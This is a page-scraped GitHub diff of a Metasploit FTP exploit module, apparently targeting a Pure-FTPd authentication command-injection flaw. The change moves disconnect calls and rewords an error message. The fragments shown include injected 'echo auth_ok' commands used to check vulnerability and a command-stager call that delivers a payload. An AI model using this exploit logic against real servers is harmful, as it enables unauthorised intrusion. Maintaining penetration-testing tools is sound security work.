File tree Expand file tree Collapse file tree 1 file changed +3
-2
lines changed
modules/exploits/multi/ftp Expand file tree Collapse file tree 1 file changed +3
-2
lines changed Original file line number Diff line number Diff line change @@ -75,11 +75,12 @@ def check
75
75
random_id = ( rand ( 100 ) + 1 )
76
76
command = "echo auth_ok:1; echo uid:#{ random_id } ; echo gid:#{ random_id } ; echo dir:/tmp; echo end"
77
77
if send_command ( username , command ) =~ /^2\d \d ok./i
78
- return CheckCode ::Safe if banner !~ /pure-ftpd/i
79
78
disconnect
79
+ return CheckCode ::Safe if banner !~ /pure-ftpd/i
80
80
81
81
command = "echo auth_ok:0; echo end"
82
82
if send_command ( username , command ) =~ /^5\d \d login authentication failed/i
83
+ disconnect
83
84
return CheckCode ::Vulnerable
84
85
end
85
86
end
@@ -98,7 +99,7 @@ def exploit
98
99
# Cannot use generic/shell_reverse_tcp inside an elf
99
100
# Checking before proceeds
100
101
if generate_payload_exe . blank?
101
- fail_with ( Failure ::BadConfig , "#{ peer } - Failed to store payload inside executable, please select a native payload" )
102
+ fail_with ( Failure ::BadConfig , "#{ rhost } : #{ rport } - Failed to store payload inside executable, please select a native payload" )
102
103
end
103
104
104
105
execute_cmdstager ( linemax : 500 )
You can’t perform that action at this time.
0 commit comments